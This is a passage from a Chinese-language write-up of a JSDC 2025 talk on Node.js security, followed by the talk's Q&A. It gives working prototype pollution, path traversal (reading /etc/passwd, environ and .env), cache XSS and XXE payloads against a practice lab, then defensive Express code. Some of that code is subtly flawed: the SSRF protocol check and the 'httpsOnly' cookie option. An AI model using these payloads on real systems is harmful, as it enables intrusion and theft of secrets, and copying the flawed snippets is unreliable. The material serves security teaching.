攻擊 Payload

{
  "__proto__": {
    "isAdmin": true
  }
}

影響

const user = {};
console.log(user.isAdmin);  // true(被污染了!)

3.4 Path Traversal(路徑穿越)

Lab 路徑https://nodelab.feifei.tw/api/pathTraversal

漏洞程式碼

app.get('/api/pathTraversal', (req, res) => {
  const filename = req.query.filename;
  const content = fs.readFileSync(./upload/${filename}, 'utf8');
  res.send(content);
});

攻擊 Payload

正常存取

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=test.txt"

讀取 /etc/passwd

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../etc/passwd"

讀取環境變數

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../proc/self/environ"

讀取程式碼

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../server.js"
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=/../.env"

3.5 Cache Pollution(快取污染)

Lab 路徑https://nodelab.feifei.tw/api/cache

攻擊流程

Step 1:清除快取

curl https://nodelab.feifei.tw/api/cache/flush

Step 2:確認快取為空

curl https://nodelab.feifei.tw/api/cache/getallvalue

Step 3:注入惡意腳本

curl -H "User-Agent: <script>alert('Hacked')</script>" \
  https://nodelab.feifei.tw/api/cache/

Step 4:檢查快取內容

curl https://nodelab.feifei.tw/api/cache/getallvalue

3.6 XXE(XML 外部實體注入)

Lab 路徑https://nodelab.feifei.tw/load_xml

攻擊 Payload

curl -X POST https://nodelab.feifei.tw/load_xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>'

第二部分:防禦者視角

四、Express 框架安全加固

4.1 使用 Helmet

const helmet = require('helmet');
app.use(helmet());

Helmet 會自動設定多個安全標頭:

  • Content-Security-Policy
  • X-Content-Type-Options: nosniff
  • X-Frame-Options: DENY
  • X-XSS-Protection

4.2 隱藏技術資訊

app.disable('x-powered-by');

4.3 修改 Session 名稱

app.use(session({
  name: 'sessionId',  // 不要用預設的 connect.sid
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpsOnly: true,
    secure: true,
    sameSite: 'strict'
  }
}));

💬 講者原話:「不要用預設的名字,你可以改成 sessionId,或是有些工程師會把它改成很像 PHP 的樣子。」

「這是一些『想要玩駭客的方法』,但不建議,因為你的主管朋友會問你說『你為什麼要這麼改?』然後你沒有辦法說服他。這樣子你可以叫他來聽我的議程。」

偽裝成其他技術(不建議,但有趣):

app.use(session({
  name: 'PHPSESSID',  // 偽裝成 PHP
  // ...
}));

4.4 輸入驗證

const { body, validationResult } = require('express-validator');

app.post('/api/user',
  body('email').isEmail().normalizeEmail(),
  body('password').isLength({ min: 12 }),
  body('username').trim().escape(),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    // 處理請求...
  }
);

五、防禦特定漏洞

5.1 防禦 SQL Injection

// 使用參數化查詢
const { rows } = await db.query(
  'SELECT * FROM articles WHERE id = $1',
  [req.params.id]
);

// 或使用 ORM(Sequelize)
const article = await Article.findByPk(req.params.id);

5.2 防禦 XSS

const he = require('he');
const sanitizeHtml = require('sanitize-html');
const createDOMPurify = require('dompurify');

// 方法一:HTML 實體編碼
const safe = he.encode(userInput);

// 方法二:HTML 清理
const clean = sanitizeHtml(userInput);

// 方法三:DOMPurify
const purified = DOMPurify.sanitize(userInput);

5.3 防禦 Prototype Pollution

// 方法一:使用沒有原型的物件
const safeObject = Object.create(null);

// 方法二:凍結原型
Object.freeze(Object.prototype);

// 方法三:過濾危險屬性
function safeAssign(target, source) {
  const dangerous = ['__proto__', 'constructor', 'prototype'];
  for (let key in source) {
    if (dangerous.includes(key)) continue;
    target[key] = source[key];
  }
  return target;
}

5.4 防禦 SSRF

const { URL } = require('url');

const allowedHosts = ['api.example.com', 'data.example.com'];

app.get('/fetch', async (req, res) => {
  const { url } = req.query;

  try {
    const parsedUrl = new URL(url);

    // 白名單驗證
    if (!allowedHosts.includes(parsedUrl.hostname)) {
      return res.status(403).send('Access denied');
    }

    // 只允許 HTTP/HTTPS
    if (!['https:', ' https:'].includes(parsedUrl.protocol)) {
      return res.status(400).send('Invalid protocol');
    }

    const response = await axios.get(url);
    res.json(response.data);
  } catch (error) {
    res.status(400).send('Invalid URL');
  }
});

5.5 防禦 Path Traversal

const path = require('path');

app.get('/api/file', (req, res) => {
  const filename = req.query.filename;

  // 只取檔名,移除路徑
  const safeFilename = path.basename(filename);

  // 確認路徑在允許的目錄內
  const filePath = path.join(__dirname, 'upload', safeFilename);
  const uploadDir = path.join(__dirname, 'upload');

  if (!filePath.startsWith(uploadDir)) {
    return res.status(403).send('Access denied');
  }

  // 讀取檔案...
});

第三部分:Lab 路徑總整理

漏洞類型 Lab 路徑 HTTP 方法
SQL Injection /api/articles/:id GET
XSS(反射型) /search?keyword= GET
XSS(DOM-based) /form GET/POST
JWT 誤用 /api/auth/login POST
敏感資料洩露 /api/users/:id GET
SSRF /fetch?url= GET
SSTI – JsRender /ssti/JsRender-demo POST
SSTI – PugJS /ssti/PugJS-demo POST
SSTI – Nunjucks /ssti/Nunjucks-demo POST
反序列化 /api/serialize POST
Path Traversal /api/pathTraversal?filename= GET
Cache Pollution /api/cache/ GET
XXE /load_xml POST
NoSQL Injection /api/product/filter?category= GET
檔案上傳 /upload GET/POST
CRLF Injection /redirect?url= GET

結論:Node.js Matters?

對攻擊者而言

是的,但不是全部。

  • 60-70% 的漏洞與語言無關(SQL Injection、XSS、SSRF 等)
  • 20-30% 需要 Node.js 專業知識(Prototype Pollution、SSTI、反序列化)
  • 這 20-30% 往往可以導致 RCE(遠端程式碼執行)

對防禦者而言

是的,請擁抱你的技術。

  1. 理解 Node.js 的安全特性
  2. 建立 Node.js 特定的安全檢查清單
  3. 善用生態系統:helmet、express-validator、npm audit

💬 講者原話:「評估是否需要處理敏感的資料,有沒有在做個資的處理。個資法很重要,現在最高罰 1500 萬,所以請不要為了你們公司內部的這種個資的問題,或是你在幫客戶去寫程式碼的時候,忽略這件事情。」

安全的本質沒有變

無論使用什麼語言:

  • 永遠不信任使用者輸入
  • 最小權限原則
  • 深度防禦

參考資源


本文整理自 JSDC 2025 演講內容。所有攻擊 Payload 僅供學習用途,請在授權環境中練習。


附錄:Q&A 精選

以下是演講後的 Q&A 環節精華:

Q1:被雜湊過的密碼還可以利用嗎?

💬 講者回答:「我們可以破解雜湊。第一個叫 Hashcat 可以破解,另外一個叫 CMD5 的網站。這個中國的網站,你把雜湊丟進去之後,它會自動幫你進行反解。」

「你說雜湊不能反解嗎?這邊有個攻擊叫彩虹表,它在後端 map 純文字密碼跟雜湊的值。你會發現有時候查下去需要錢,這是他們的商業模式。」

密碼破解工具

  • Hashcat:本地端 GPU 加速破解
  • John the Ripper:經典密碼破解工具
  • CMD5.com:線上雜湊查詢服務(彩虹表)

Q2:Vibe Coding 造成很多漏洞,怎麼看?

💬 講者回答:「工作機會有啦!沒錯,就是工作機會。我越喜歡大家使用 Vibe Coding,我就越有更多漏洞可以打。」

「這是個資安工程師的想法,但實際上我們會發現 Vibe Coding 在寫程式碼的時候,如果你有再看 Code 的話…因為我有一些 Vibe Coding 客戶是不會看 Code 的。」

「我們覺得未來應該會有一些自動化的 AI 工具可以幫我們掃描,其實現在已經有了。但我們會發現這些 AI 資安掃描的自動化工具,你可能掃完描你還會看不懂。Vibe Coding 看不懂,那你可能就要叫 AI 改。」

講者本次示範的程式碼

「我在這次示範的程式碼全部都是 Vibe Coding 寫出來的,那時候還是用 GPT 寫的,現在應該可以寫出更漂亮、更好看的,因為有 Claude Code。」

Q3:有什麼破壞不可否認性的案例嗎?

💬 講者回答:「有時候你寫日誌的時候寫的太明白,日誌裡面可以找到帳號密碼。你把 Console Log 裡面塞了一大堆東西為了要 Debug,然後我可以從日誌裡面看到一些內容。」

「還有就是駭客進去之後把你日誌刪掉。不要覺得駭客不會做這種事情,有些駭客進去之後把所有的事情亂搞,亂搞完之後就開始進行日誌的清理,把你的日誌也清掉。」

日誌安全建議

  • 不要在日誌中記錄敏感資訊(密碼、Token)
  • 將日誌傳送到獨立的日誌伺服器
  • 設定日誌不可刪除(append-only)
  • 定期備份日誌

Q4:MCP 有成熟的攻擊語法跟注入方法嗎?

💬 講者回答:「有。MCP 本身有時候會變成惡意的軟體,就是你信任這個 MCP,那我就可以在這 MCP 裡面用這個去偷你電腦裡面的東西。」

「實際上我們在使用 MCP 的時候,應該要注意它到底請求哪些權限、做了什麼事情。我相信很多 Vibe Coding 的人他不會覺得 MCP 有什麼風險,但就是有風險。」

MCP 安全建議

  • 只使用可信來源的 MCP
  • 檢查 MCP 請求的權限範圍
  • 在沙盒環境中測試新的 MCP
  • 定期審查已安裝的 MCP

Q5:有推薦的掃描工具嗎?

💬 講者回答:「掃描工具有分黑箱跟白箱。白箱就是打開看得到裡面的程式碼。如果是黑箱的話你可以用 OWASP ZAP。現在 AI 工具其實也可以,可以用一些 OWASP 他們開發的工具,這是開源免費的。」

推薦工具清單

類型 工具 說明
黑箱測試 OWASP ZAP 免費開源,功能強大
黑箱測試 Burp Suite 業界標準,有免費版
白箱測試 SonarQube 程式碼品質與安全掃描
白箱測試 Snyk npm 套件漏洞掃描
依賴檢查 npm audit Node.js 內建
AI 輔助 GitHub Copilot 可以幫忙找漏洞

講者提醒

大家都不要成為腳本小子,我不想要看你等一下又被警察抓走。就算被抓走,不要說我教的,今天走出去你們就忘記這一切。」

回去的時候可以跟資安 Team 做好朋友,但是在座開發者可能常常會跟資安人員吵架…」

「練習環境:nodelab.feifei.tw(回去可以打打看,記得通知我,我會幫你重開)」